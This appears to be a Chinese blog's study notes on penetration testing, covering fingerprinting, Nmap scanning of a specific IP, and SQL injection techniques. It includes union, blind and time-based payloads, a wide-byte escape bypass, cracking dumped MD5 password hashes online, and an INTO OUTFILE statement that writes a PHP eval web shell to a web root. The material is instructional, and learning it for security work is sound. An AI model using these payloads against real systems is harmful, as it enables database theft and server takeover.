跳到主要内容

第 5 天

· 阅读需 4 分钟
Hsieh
Hsieh
提示

从信息收集到漏洞利用,系统学习 SQL 注入漏洞的完整攻击链。本篇涵盖 Fofa 指纹识别、Nmap/Zenmap 端口扫描基础,深入讲解数字型、字符型、报错型、盲注等多种 SQL 注入类型的利用手法与绕过技术,配合 SQLMap 自动化工具实现高效渗透。

指纹识别

  1. 国内 fofa 通过定期爬取全球 IPv4 地址, 检测出漏洞
  2. Wappalyzer 插件识别服务指纹

  1. Nmap 指纹探测, 命令nmap.exe -T5 -F -sV xxx.com

端口扫描

Nmap

docker run --rm uzyexe/nmap -Pn -p- --open -sV 124.221.131.194 -d

Zenmap

SQL 注入

测试修改 sql 语句能否改变原执行逻辑, 与正常输入返回结果不一致则存在 sql 注入漏洞

数字型注入

id=1 and 1=2
  • 测试正确的字段数量, 通过 select 后尝试多个字段判断支持接收几个字段参数
id=-1 union select 1,2 from mysql.user
  • 拼接 union 语句, 通过 information_schema 库的 columns 表查询 mysql 下所有数据库/表/字段, 查询字段数与上面尝试成功数量一致
id=-1 union select null,concat(table_schema,',',table_name,',',column_name) from information_schema.columns

  • 通过上面查询的字段获取用户名/密码

  • 复制网页源码创建 .html 文件在浏览器打开

  • 拷贝 md5 密文通过 https://www.cmd5.com/ 网站解密

字符串型注入

通过 '" 提前闭合字符串, 并注释掉原字符串后面内容

name='1' or 1=2 -- a' 

报错注入

函数传入构造的参数, 会将参数执行结果以报错形式打印出来

盲注

1. 返回布尔结果

  • 通过逐个比较判断数据的长度
length()
  • 通过数据 ASCII 码值二分查找出对应的字母数字
ascii(substr(,,)) > 97

2. 延时注入

通过条件分支匹配执行延时, 找出对应的字母数字或数据长度

HTTP 报文头部注入

源码中读取 HTTP 报文头字段并由 SQL 处理时, 在报文头字段处构造字符串型注入

二次注入

插入带有 ' 的脏数据, 脏数据被再次调用时生效

文件写入

1. 数据库的绝对路径

SELECT @@basedir;
SELECT @@datadir;

2. 安全防护配置为空

SELECT GLOBAL VARIABLES LIKE '%secure_file_priv%'; 
  • 配置为 NULL 则此路不通
  • 配置为特定路径, 该路径通常无法 web 访问, 此路不通
  • 为空, 则可写文件到 MySQL 进程有权限的地方

3. 执行写入

SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/1.php';

常用变量及函数

全局变量

@@basedir 当前数据库的绝对路径

绕过防注入

1. 位宽注入

GBK 编码下, %df\ 会被解析成汉字, 依次绕过程序对 ' 的转义

id='1%df' or 1=2 -- a'

2. 注释绕过

只有特定版本的 MySQL 会执行 /*! */ 中的内容

3. 十六进制编码

4. Base64 多次编码

SQLMap

配置 明洞插件burpsuite 联动

  1. 在插件配置页面, 检查 python 解释器路径

  1. 在抓的包上右键, 调用 SQLMap

  1. 调整 SQLMap 的默认参数

  1. 浏览执行过程